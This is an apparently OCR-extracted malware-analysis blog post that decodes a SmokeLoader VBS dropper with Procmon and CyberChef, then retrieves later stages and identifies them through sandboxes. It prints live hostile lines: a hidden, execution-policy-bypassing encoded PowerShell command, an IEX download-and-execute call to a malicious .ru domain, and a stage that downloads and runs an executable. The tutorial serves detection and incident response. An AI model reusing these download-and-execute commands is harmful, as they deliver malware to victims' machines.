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This post will show you how to manually decode a SmokeLoader visual basic (.vbs) script using Procmon. From
here you will see how to retrieve additional stages using Powershell and identify a malware sample using sandbox

tooling.

The initial file can be downloaded from malware bazaar and unzipped using the password infected .
SHA256:375798197452cb9143fb@8922bebb13ebbbb0c27a101ebc568a3e5295361936

Initial Analysis

The initial file after unzipping is a visual basic .vbs script.

An additional copy 375.vbs was made in order to preserve the original and work with a simpler filename.

Name

375798f97452cb9143ffb08922bebb13eb6bb0c27a101ebc568a3e5295361936.vbs

375.vbs

Since visual basic is a text-based language, the file can be opened using a text editor.

This blog will utilise sublime text, but visual code, notepad++, or any other text editor will work equally well.

(Any text editor with language highlighting and find/replace with regex support)

<> 375.vbs

PQUFbQrIsfNeCrdXWSUiQxvMcgDyVQ = array(23@, 180, 116, 203, 183, 185, 189, 226, 132, 179, 199, 222, 192, 220, 183, 138, 189, 1¢
Sub d hpTF(pruUKXHEmSDwkSNcMKmECLjvh) ("execute(yPpuUKXHEmSDWKSNCMKMECLjVh)") : End Sub
DPCpSVCeIsxKMdYp FBMAOthOHt]Rt = "WFTTEGNpdAbkKoRjOYulNrokeKdHTeKwICKfmWTEoAgukvHYqKmSKKABQQECSFFswlYcTbhgWuDIezajlxRNwjKXpf
for EJhxvgvzqitsviCgvmIL = (PQuUFbQrIsfNeCrdXwSUiQxvMcgDyVvQ) + 1 to (PQUFbQrIsfNeCrdXWSUiQxvMcgDyVvQ) + 1
EgQNYKgyIXpynYuSMXtBlbyvzbsnkhXp = (DPCpSVCeIsxKMdYptwFBMAOthOHtjRt, EJhxvgvzqitSviCgvmiL, 1)
kUbyQBjCPD1WXZXFxhjgZBtMhcWOBJANB = asc(EgQNYKgyIXpynYuSMXtBIbyvzbsnkhXp)

ONBcYTckrzFARMZXSOCHbBXF = PQuFbQrIsfNeCrdXWSUiQxvMcgDyVQ(EJhxvgvzqitSviCgvmIL - 1)

hwsKEANFWa01QTOKyzx0gBdDEEgNgZKtIE = (oNBcYTckrzFARMZXsOCHbBXF - kUbyQBjCPD1WXZXFxhjgzBtMhcWOBJANB)
CzVSrYTOisCktDpoRvcYijGYVaUu = CZVSrYT01katDponch]GYVaUu & hwsKEANFWa0lQTOKyzxOgBdDEEgngZKtIE

next : Set tXGgxJSfakKwiAknYMxgbIkFtzrLQGjNlojxMo = e ect("Scripti .Fi ystemObject”) : If tXGgxJSfakKwiAknYMxgbl

The script is "only” 10 lines long and primarily consists of a large blob of decimal values (line 1), a large blob of

text (line 3).
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The remainder of the surrounding code is used to decode the decimal and text blob.

Decoding Malware with Process Monitor (Procmon)

This is by far the simplest method for decoding script-based malware. This method involves executing the script

inside of a safe virtual machine and simultaneously running the "Process Monitor" tool from Sysinternals.

This method will capture any new processes spawned by the obfuscated script, revealing any decoded command
line arguments that were used to spawn the new process. This bypasses a lot of the obfuscation that may be

present in an original encoded script.

There are downsides to this method as it assumes that a new process will be spawned, but it is the easiest method

and is a great skill to have.

If you are using flare-vm, you will already have Procmon installed. If not, you can obtain it from the following
link.

How to monitor the malware with ProcMon

To "decode" the malware using Procmon, you must first start the Procmon process and perform a few basic

actions.
These basic actions are needed to focus on only the events related to the malware.

Since Procmon can capture hundreds of thousands of events per second, this can quickly eat up memory, so you

want to make sure to capture the right events.

1. Locate and open the Procmon process

2. Stop Capture (CTRL+E), or manually deselect the capture button.
3. Clear the window (CTRL+X)

4. Set a filter on WScript.exe - (CTRL+L)

5. Turn on capture and run the malware.

Here we can see the initial screen when Procmon is first opened. Within seconds, 63,014 total events are captured.

We want to stop this as soon as possible.

The stop capture can be done with CTRL+E or by manually de-selecting the capture button.
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CTRL+E or deselect to stop capture - ] X
er Tools Options Help
== |IYHAO & £ /|8 a2l
Time o... Process Name PID Operation Path Result Detail ~
‘B MsMpEng.exe 3556 i ReadFile C:\Pi i i Def... SUCCE! Offset: 17,076,224,
MsMpEng.exe 3556 ' ReadFile C:\Programl i i Def... SUCCE Offset: 17,072,128...
Isass.exe 768 ' ReadFile C:\Windows\System32\Isasrv.dll SUCCESS Offset: 1,598,976, ...
MsMpEng.exe 3556 i ReadFile C:\ProgramData\Microsoft\Windows Def... SUCCESS Offset: 15,892,480...
Isass.exe 768 ¥ ReadFile C:\Wi 32\Isasrv.dll UCCE! Offset: 1,582,592,
Isass.exe 768 '+ ReadFile C:\Wi 32\l v.dil UCCE: Offset: 1,502,720, ...
MsMpEng.exe 3556 i ReadFile C:\ProgramData\Microsoft\Windows Def... SUCCESS Offset: 16,207,872,
Isass.exe 768 ' ReadFile C:\Windows\System32\Isasrv.dll SUCCESS Offset: 1,486,336, ...
MsMpEng.exe 3556 i ReadFile C:\ProgramD i i Def... SUCCE Offset: 16,969,728...
Isass.exe 768 '+ Quer .G\ ilhouse\AppData\Local\Tem... SUCCESS Name: \Users\Milh...
Isass.exe 768 ' Quer ...CA\L \Milhouse\AppData\Local\Tem... SUCCESS Name: \Users\Milh...
MsMpEng.exe 3556 i ReadFile C:\Pi i Def... SUCCE: Offset: 16,035,840...
Explorer.EXE 4764 '+ ReadFile C:\Wil 32\shiwapi.dil UCCE! Offset:
MsMpEng.exe 3556 i ReadFile C:\Programl i i Def... SUCCE Offset:
Explorer.EXE 4764 ' ReadFile C:\Windows\System32\shiwapi.dll SUCCESS Offset: 261,632, L...
MsMpEng.exe 3556 i ReadFile C:\Pi i Def... SUCCE! Offset: 17,043,456...
Ecﬂmonvexe 3208 = ReadFile C:\Wil 3! vice.dll UCCE! Offset: 4,026,880,
... ' Explorer.EXE 4764 '+ ReadFile C:\Windows\explorer.exe SUCCESS Offset: 3,749,376, ...
.. @ MsMpEng.exe 3556 i ReadFile C:\ProgramData\Microsoft\Windows Def... SUCCESS Offset: 16,150,528...
[ ctimon.exe 3208 &4 ReadFile CAWi vice.dll  SUCCE: Offset: 4,088,320,
6:06:56... g Explorer.EXE 4764 '+ ReadFile C:\Windows\explorer.exe SUCCESS Offset: 3,700,224, ...
6:06:56... (# ctfmon.exe 3208 i RegQueryKey ~ HKLM SUCCESS Query: HandleTag...
:06:! ctfmon.exe 3208 [ RegOpenkey  HKLM\Software\Microsoft\input\Settings SUCCESS Desired Access: R...
ctfmon.exe 3208 [ij RegQueryKey ~ HKCU SUCCESS Query: HandleTag.
ctfmon.exe 3208 i RegOpenkey ~ HKCU\Software\Microsoft\nput\Settings NAME NOT FOUND Desired Access:
ctfmon.exe 3208 i RegQueryKey ~ HKLM\SOFT i ... SUCCE Query: HandleTag
ctfmon.exe 3208 ﬁ RegOpenKey HKLM\SOFTWARE\Microsoft\input\Setti... SUCCESS Desired Access: Q...
ctfmon.exe 3208 [fii RegQueryValue HKLM\SOFT i i... SUCCE Type: REG_DWO.
6:06:56... i Explorer.EXE 4764 '+ ReadFile C:\Windows\explorer.exe SUCCESS Offset: 3,667,456, ...
6:06:56... # ctfmon.exe 3208 [i§ RegCloseKey ~ HKLM\SOFT I i... SUCCE:
6:06:56. ctfmon.exe 3208 ﬁ RegCloseKey =~ HKLM\SOFTWARE\Microsoft\Input\Setti... SUCCESS
60656 ctfmon exe 3208 A ReaQuervKev  HKI M SUCCFSS Querv' HandleTan v
Showing 63,014 of 110,123 events (57%) Backed by virtual memory

Opening procmon and stopping capture
Once the capture has been stopped, the already captured events will need to be cleared from the screen.

The captured events can be cleared with CTRL+X or by hitting the trash can button. This creates a clean screen

for easy future analysis.

I Process Monitor - Sysintern e 2. Clear the current window (CTRL+X) | - o x
File Edit Eve ptions Help

pR HRVEO & # £ We2eE

Time o... Process Name PID Operation Path Result Detail

Mo events (capture disabled) Backed by virtual memonry

With the window now cleared, a new filter can be created with CTRL+L or by hitting the filter button. This will

allow us to "hone in" on only wscript.exe, which is the process responsible for running .vbs scripts.
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I Process Monits 3. Create a filter to hone in on the malware process (wscript.exe) - b=
File Edit Evel = e
BE IR YHAOCL £ 2 |E-Se@E
Time o... Proce: me PID Operation Path Result Detail
I Process Monitor Filter X
Display entries matching these conditions:
Architecture v lis v Vv then Include v
Reset Add Remove
Column Relation Value Action ~
€3 Process Na... is Procmon exe Exclude
€3 Process Na... is Procexp.exe Exclude
[ Process Na... is Autoruns.exe Exclude
[“€dProcess Na... is Procmon64.exe  Exclude
t g Process Na... is Procexp64.exe Exclude
[V1€dProcess Na... is System Exclude
JOperation  begins with IRP_MJ_ Exclude
dOperation  begins with FASTIO_ Exclude v
No events (capture disabled) Backed by virtual memory

A new process filter for wscript.exe can now be created. Ensuring to press "add" to save the new filter.

B Process Monitor Filter ] ] X
4. Create a process filter for wscript.exe

Display entries matching these conditions:

I[Process Name v s ~ ‘wscript.exe‘ v ‘ Ihen Include ~
Reset I Add I‘ Remove
Column Relation Value Action ~
aProcess Na... is Procmon.exe Exclude
aProcess Na... is Procexp.exe Exclude

aProcess Na... is Autoruns.exe Exclude
aProcess Na... is Procmon64.exe Exclude
aProcess Na... is Procexp64.exe Exclude
aProcess Na... is System Exclude
aOperation begins with IRP_MJ_ Exclude
aOperation begins with FASTIO_ Exclude v
oK Cancel Apply

This will result in a new filter entry for wscript.exe .
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B process Monitor Filter X
Display entries matching these conditions:
Process Name ~ |lis ~ || wscript.exe ~ | then |Include  ~
Reset Add Remove
Column Relation Value Action A
@Process Na... is wscript.exe Include
4 Process Na... is E’rocmon.exe Exclude
ﬁProcess Na... is Procexp.exe Exclude
@-Process Na... is Autoruns.exe Exclude
ﬁProcess Na... is Procmon64.exe Exclude
@Process Na... is Procexp64.exe Exclude
ﬁProcess Na... is System Exclude
ﬁOperation begins with IRP_MJ_ Exclude v
oK Cancel Apply

At this stage, the event capture can be re-started. This will begin capturing all events related to wscript.exe

I Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help
eHIEIYEG & $ 0 HRDEE

Time 8., Process Name PID Operation Path

Result

Detail

Save the filter and restart the capture.

The current filter excludes all 83,913 events Backed by virtual memory

Now that the capture is ready, it's time to run the original malware script.

This is as simple as double clicking on the original .vbs file. Windows will run the script using wscript.exe by

default.
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375.vbs
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https://embee-research.ghost.io/smokeloader-analysis-with-procmon/

Run the malware by double clicking on it.

Time o... Process Name
6:20:54... @ WScript.exe
6:20:54.... @ WScript.exe
WScript.exe
. WScript.exe
Script.exe
Script.exe
Script.exe
WScript.exe
. WScript.exe
WScript.exe
Script.exe
Script.exe
Script.exe
Script.exe
Script.exe
Script.exe
Script.exe
Script.exe
Script.exe
.WScript.exe
WScript.exe
. WScript.exe
.. @ WScript.exe
6:20:54... @ WScript.exe
6:20:54... @8- WScript.exe
6:20:54... - WScript.exe
6:20:54... - WScript.exe
6:20:54... @ WScript.exe
6:20:54... @ WScript.exe
6:20:54... @ WScript.exe
6:20:54... @@ WScript.exe
62054 . WScrint exe

File Edit Event Filter Tools Options Help
CEIREIYAO & £ £

PID Operation
4972 ¢2 Process Start
4972 42 Thread Create
4972 ¢2 Load Image
4972 o2 Load Image
4972 4 CreateFile

[ Process Monitor - Sysinternals: www.sysinternals.com

4972 & Quer .

4972 ' ReadFile
4972 ' CloseFile
4972 [lif RegOpenkKey
4972 i RegOpenKey
4972 iy RegQueryValue
4972 [llf RegCloseKey
4972 [lii RegOpenkKey
4972 iy RegOpenKey
4972 iy RegOpenKey
4972 [i§ RegOpenKey
4972 [lif RegQueryValue
4972 [li§ RegCloseKey
4972 ' CreateFile
4972 ¢ Load Image
4972 ¢ Load Image
4972 [lif RegOpenkKey
4972 iy RegOpenKey
4972 iy RegOpenKey
4972 [i§ RegOpenKey
4972 [li§ RegOpenkKey
4972 [fli RegQueryValue
4972 i RegCloseKey
4972 iy RegOpenKey
4972 [lif RegOpenkKey
4972 [li§ RegOpenkKey
4972 i ReaQue

I =
Path Result Detail
SUCCESS Parent PID: 4764, ...
SUCCESS Thread ID: 4888
C:\Windows\System32\wscript.exe SUCCESS Image Base: Ox7ff...
CaWi 32\ntdll.dll UCCE: Image Base: OX7ff...
C:\Wi RIPT.EXE-52... SUCCE Desired Access: G
.C:\Wi RIPT.EXE-52...SUCCE! llocationSize: 16,...
C:\Windows\Prefetch\WSCRIPT.EXE-52...SUCCESS Offset: 0, Length: ...
C: RIPT.EXE-52...SUCCE
HKLM\System\CurrentControlSet\Contr... REPARSE Desired Access: Q.
HKLI urrentCor ontr... SUCCE: Desired Access: Q...

HKLM\System\CurrentControlSet\Contr..
HKLM\System\CurrentControlSet\Contr...

HKLM\SYSTEM\CurrentControlSet\Cont...

HKLM\System\CurrentControlSet\Contr.

HKLM\SYSTEM\CurrentControlSet\Cont...

HKLM\System\CurrentControlSet\Contr..
HKLM\System\CurrentControlSet\Contr...
HKLI urrentC ontr.

NAME NOT FOUND Length: 80
SUCCESS
REPARSE
NAME NOT FOUND Desired Access: Q.
REPARSE Desired Access:
SUCCESS
NAME NOT FOUND Length: 24
UCCE:!

UCCE! Desired Access: E...

phoe i Desktop\3757981974...

C:\Windows\System32\kernel32.dIl
C:\Windows\System32\KernelBase.dI|

HKLI urrentCor ontr....

SUCCESS
SUCCESS

Image Base: Ox7ff...
Image Base: OX7ff...

HKLM\System\CurrentControlSet\Contr...
HKLM\System\CurrentControlSet\Contr..
HKLM\System\CurrentControlSet\Contr..

HKLI

NAME NOT FOUND Desired Access: Q.
REPARSE

HKLM\SOF TWARE\Policies\Microsoft\.

NAME NOT FOUND Length: 80
UCCE:!

HKLM\SOFT!

HKCU\Software\Policies\Microsoft\Wind...

NAME NOT FOUND Desired Access: Q...

HKLI urrentContr ontr... Desired Access: R...
HKLI urrentCor ontr. UCCE: Desired Access: R.
> HKI urrentC Sef\Contr ~ SUCCFSS Tuvne: RFG DWO

Desired Access: Q...

Desired Access: Q...

Desired Access: Q...

Desired Access: R...
NAME NOT FOUND Desired Access: R...
..SUCCE: Desired Access: Q...

The malware events have
successfully been captured with
procmon.

Leave this running for a few
seconds. Then hit CTRL+E to stop
capture.

Showing 9,297 of 254,941 events (3.6%) Backed by virtual memory

At first glance this is a lot (9297 events in just a few seconds) but we will soon filter down to a manageable

number.

The primary focus here is to identify if any new processes were spawned during the execution of the
script. If a new process has been launched, we want to observe any arguments that have been passed
and see if this reveals the functionality of the malware or at least brings us closer to something that

allows us to determine what it does.
Identifying Spawned Processes Using Procmon

The process tree is the best way to identify newly spawned processes. This can be accessed by pressing CTRL+T

or browsing the Procmon menu Tools -> Process Tree

This will reveal a window similar to below. The top half has been covered to improve readability.
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¥ Process Tree ] X

[Jonly show processes still running at end of current trace
Timelines cover displayed events only

Proce: Description Life Time Combpanv Owner Ci ~

. Microsoft Corporat... BURRITOBARN\M... "C:\Windows\System32\WScript.exe" "C:\Users\Milhouse\Desktop\...
‘Windows Comman... Microsoft Corporat... BURRITOBARN\M... "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -E...

Console Window ... Microsoft Corporat... BURRITOBARN\M... \??\C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Windows PowerS... Microsoft Corporat... BURRITOBARN\M... powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAA0CAE4...

< > <

Wscript.exe has launched both cmd.exe and powershell.exe.

Description: Microsoft ® Windows Based Script Host

) ) On the right, we can begin to see some decoded arguments.
Company:  Microsoft Corporation

Path: C:\Windows\System32\WScript.exe d
Command: "C:\Windows\System32\WScript.exe" "C:\Users\Milhouse\Desktop\375798f97452cb914

User: BURRITOBARN\Milhouse

PID: 4972 Started:  5/30/2023 6:20:54 PM

Exited:  5/30/2023 6:20:55 PM

Go To Event Include Process Include Subtree

In the screenshot above - We can see that WScript.exe has ultimately spawned 3 new processes. (md.exe,

Conhost.exe and powershell.exe.

By honing in on the right-most column titled command , you can observe the decoded commands that were used to

spawn each process.

5/30/2

i Procmon64.exe (254als - ww... "
=) g .WScript.exe (4972) | Corporat
= m’fcmd.exe (4036) Corporat.. "C: K -1 -\ -| -| ... |5,

ﬁConhost.exe (855¢ Corporat... \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 5/30/2

/. powershell.exe (6] Corporat.§ powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAHQAIABOAGUAJAAUAFCAZQBIAGMADABPA...
ﬁiavaw,exe(1524) rporation \\Users\Milhouse\Desktop\Tooling\Tools\openjdk-19.0.2_windows-x in\jdk-19.0.2\bin\javaw”  -Duser.nome="C:\Users\Milhouse" -Djava....

Partially decoded powershell command.

In the cmd.exe command - You can see that cmd.exe was used to spawn Powershell via the /c argument. The

cmd.exe serves no malicious purpose, it serves only to spawn the Powershell.

The /c argument will cause the powershell process to terminate after it has finished. This avoids a

powershell terminal hanging around on the screen if powershell was launched directly.
Detection related tangent

The usage of cmd.exe also introduces the process relationship of WScript.exe -> cmd.exe ->
powershell.exe . This may hinder detection in some SIEM tooling that do not capture grandparent
processes.

Eg Wscript.exe -> powershell is not common and would make a simple and reliable detection.
Cmd.exe -> powershell.exe and wscript.exe -> cmd.exe are both very common and would require

tuning and additional filtering for reliable detection.
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Returning back to the Procmon output. The final command can be easily observed by clicking on the line

containing PowerShell.

The content has not been fully de-obfuscated yet. But we now have a powershell command with a seemingly

simple base64. This is much better than the initial obfuscated .vbs script.

B Procmont4.exe (25fals - ww... "C:\L Jata\Locall | emp 54.ex8" "C:\Program exe” 5/30/2023 6:06:55... n/a
(=] g WScript.exe (4972) | Corporat... "C:\Wi ipt.exe" "C:\L il Deskt '98f97452cb91 1 7a10 19... 5/30/2023 6:20:54... 5/30/2023 6:20:55...
i omd.exe (4036) Corporat... "C:\Wi 3 d.exe" /c -nop -w hiddEn -Ep bypass -Enc SQBFAFg, E4. IB3ACOATwWBI ‘QBJAHQAIABO... 5/30/2023 6:20:55... 5/30/2023 6:20:58...
& Conhost exe (855t Cornarat_\22\C; xe DXFHHH Force\d 5/30/2023.6:20:55,_5/30/2023,6:20:58,
| . exe (61 Corporat... -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAHQAIABOAGUAJAAUAFCAZQBIAGMADABPA... 5/30/2023 6:20:55... 5/30/2023 6:20:58... I
2 4524y P g = =i 7
v
< > < >
Description: Windows PowerShell
Company:  Microsoft Corporation The full contents of the powershell command can be obtained.
Path: C:\Wind Wir hell\v1.0\powershell.exe
Command: | powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFGAIAACAE4AZQB3ACOATWBIAGOA I
User: ilhouse
PID: 6196 Started:  5/30/2023 6:20:55 PM
Exited: ~ 5/30/2023 6:20:58 PM

To obtain the full contents, you can highlight the command window and hit CTRL+C .

Description: Windows PowerShell

Company:  Microsoft Corporation

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Command: High”gh[ the entire command
User: BURRITOBARN\Milhouse and copy into a text editor or
PID: 6196 Started:  5/30/2023 6:20:55 PM cyberchef.

Exited: ~ 5/30/2023 6:20:58 PM

Go To Event Include Process Include Subtree

Pasting back into a text-editor, the semi-decoded powershell command can be observed.

375.vbs powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFg

powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAOAE4AZQB3ACOATWBiAGOAZQBjAHQAIABOAGUAdAAUAFCAZQB
1AGMAbABpAGUAbgBOACKAL gBKAGBAdwWBUAGWAbWBhAGQACWBOAHIAaQBUAGCAKAAIAGEAdABOAHAAOEAVACBAYQBtAGUACEBPAGMAY
QBUAGSAYWBVAGYAZgBIAGEAL gByAHUAT gApAA

Powershell command is not very long. Obfuscated piece can be easily copied into
cyberchef.

The final decoded component is easily obtained using CyberChef and From Base64 . Remember to add "Remove

Null Bytes" if you observe any dots or weird red lines. This is due to the utf-16 encoding common in windows.

Recipe Bl E  input + O3 8 =

SQBFAF gATAACAE4AZQB3ACBATWEL AGOAZQB  AHQATABOAGUAdAAUAF cAZQB 1 AGMAbABPAGUAbZBBACKAL EBKAGEAdWBL!

From Base64 & n
AGWAbWBhAGQAC WEBAH IAQBUAG CAKAALAGEAIABBAHAADEAVACBAYQBLAGUAC EBPAGMAYQBUAGBAYWBVAGYAZEB1AGEA|
Alphabet LgByAHUATEADAA==
A-Za-20-9+/= N
. - 200 = 1 Tr Raw Bytes & LF
Remove non-alphabet chars D Strict mode =
Output Dmo:
Remove null bytes AL TEX (New-Object Net. Webclient).downloadstring(“http://americanocoffea.ru”)

A string is downloaded and executed using IEX.
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We can now observe a decoded command that downloads a string from americanocoffeal.]ru . The resulting
string is then executed using Invoke-Expression (IEX). Since the decoded string is executed within Powershell, it

is likely another Powershell script.

Domain Analysis

The domain americanocoffea[.]ru had_11/87 detections at the time of writing 2023/05/23 . There was no

information available on VirusTotal to determine which malware was being downloaded.

\
11

/87

@ 11 security vendors flagged this domain as malicious

americanocoffea.ru

Malicious

Community Score

A malicious domain has now been identified and can be used as an IOC. However, there is no information on the

malware that may be downloaded.
Retrieving a Malware Payload with Powershell

If the malware infection and script are recent enough, then the next stage can be obtained directly from the

malicious server using Powershell.

The simplest way to do this is to use Powershell invoke-webrequest (iwr) from within a safe virtual machine
(and ideally behind a VPN).

If you require additional anonymity from attacker infrastructure, there are also tools such as grabbrapp

for safely probing infrastructure and obtaining malware payloads.

In an ideal situation such as this one, PowerShell works just fine. The sample can be obtained by running the

following command.

powershell.exe -iwr http://americanocoffeal.]ru -outfile output.txt

‘ Untitled1.ps1* X ‘ &
1 jwr "http://americanocoffea.ru"” -outfile output.txt

Ps c:\Users\Milhouse\desktop> iwr "http://americanocoffea.ru” -outfile output.txt

Ps c:\Users\Milhouse\desktop> cat output.txt
$path = $Env:temp+'\gDcTdMN.exe'; $client = New-Object System.Net.webClient; $client.downloadfile('http://americanocoffea.ru/
antirecord/trust.exe’,$path); start-Process -FilePath $path

Ps c:\Users\Milhouse\desktop>
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In the output (blue) of the screenshot above, we can see the downloaded content is another small Powershell

script. This script retrieves and executes an executable file gScTdMN.exe and writes it to the user's temp directory

$env:temp .
http://americanocoffeal.]ru/antirecord/trust[.]Jexe

This full URL and exe name would both make for good indicators in an IR situation. The use of randomly named

.exe files in the user temp directory may also be a good indicator.

| Untitled1.ps1* X |
1 diwr "http://americanocoffea.ru” -outfile output.txt

PS C:\Users\Milhouse\desktop> iwr "http://americanocoffea.ru” -outfile output.txt

PS C:\Users\Milhouse\desktop> cat output.txt
$path = $Env:temp+'\gDcTdVMN.exe'; $client = New-Object System.Net.webcClient; $client.downloadfile('http://americanocoffea.ru/

antirecord/trust.exe’,$path); start-Process -FilePath $path

PS C:\Users\Milhouse\desktop>

The next .exe can be retrieved using the same technique with iwr . Retrieving this additional file can be useful
to obtain a full hash and binary information. In particular, you would now have a working sample that you can

provide to a sandbox tool, malware analyst or any other tooling for the analysis of malware.

Below is a simple iwr command to download the next stage containing the .exe file.

: NamedParameterNotFound,Microsoft.Powershe .Commands . InvokewebRequestComman

PS C:\Users\Milhouse\desktop> iwr "http://americanocoffea.ru/antirecord/trust.exe” -outfile trust.bin

Ps c:\uUsers\Milhouse\desktop>

Checking the file hash on VirusTotal. There are 37/71 detections.

In many cases, you do not need (and may not be allowed) to submit the file to Virustotal. In this situation you can

obtain a file hash (using detect-it-easy, pestudio etc) and submit the hash to see if it has previously been analysed.

In this case, the file hash was already known to Virustotal.

@ 38 security vendors and 2 sandboxes flagged this file as malicious

38

17 9892¢10b94bbb90688cdc3dd6d51f3343b9cc19069fa4c1fe3594600a3d03330
trust.exe

peexe spreader

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR O COMMUNITY 8
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Reviewing the comments reveals multiple references to SmokeLoader.

VMRay
[#] 2 hours ago

VMRay Analysis Verdict: Malicious

Threat Name: SmokelLoader
Classifications: Downloader, Injector

Analysis Report: https://www.vmray.com/analyses/_vt/9892¢10b94bb/report/overview.html

10C Tab: https://www.vmray.com/analyses/_vt/9892c10b94bb/report/ioc.html

Function Log: https://www.vmray.com/analyses/_vt/9892c10b94bb/logs/flog.txt

STIX 2.0 I0Cs: https://www.vmray.com/analyses/_vt/9892c¢10b94bb/report/artifacts/stix-report-2-0-iocs.json
summary.json: https://www.vmray.com/analyses/_vt/9892¢10b94bb/logs/summary_v2.json

@ CarlosCabal

N 4 [ 4 hours ago

I#ma]ware #Smoke Loader I

VT Collection: https://www.virustotal.com/gui/collection/3e3a2e51f5f354243f87aa3579e7b0d7206c9f8ce3558d9a1b5f8e6fc3fad7da
Reported in:

Hatching Triage: https://tria.ge/230530-jm526age7t

Hybrid Analysis: https://www.hybrid-analysis.com/sample/9892c10b94bbb90688cdc3dd6d51f3343b9cc19069fa4c1fe3594600a3d03330
JOESandbox: https://www.joesandbox.com/analysis/877984/0/html

malwares: https://www.malwares.com/report/file?hash=9892c¢10b94bbb90688cdc3dd6d51f3343b9cc19069fa4c1fe3594600a3d03330

One of the links above is to a Triage analysis. With a confident 10/10 verdict of SmokelLoader for an identical
file.

B General A

Target

01541599.exe Score

1 O/‘IO

SMOKELOADER BACKDOOR
TROJAN

Size
274KB

Sample
230530-jm526age7t

MD5
1f95b8c2dc09a84f6a9fe6f74dbf7d96

SHA1
35f2¢55596e43c2887d70a172d452fc5ac36835d

SHA256
9892¢10b94bbb90688cdc3dd6d51f3343b9cc19069fadc1fe359
4600a3d03330

SHA512
7d7bf42a7df0ec4dcfOf8ac891bee60871ddc45c9887d8b5022dc
ddc27fae7afdd2134370f1a5ac898c364c5d702e9fb84b496d7c8
a253fefd96d65715ba563c

SSDEEP
3072:pD8qOVO6HzqC1fCWNQrRLWY8xzIbbTDnxG5JUTDAY 2L0a
5M6:F8qOVOjtwNQrRLwY8x8bbTD00Oa5

Final payload identified as SmokelLoader

D B EEEEEOE

At this point, I would be confident to label the malware sample and incident as Smokeloader.
Conclusion

The malware has now been decoded and identified as Smokeloader. A domain and full URL have now been

obtained, as well as an exe hash and confident verdict of the malware family.
Sign up for Embee Research

Malware Analysis and Threat Intelligence Research
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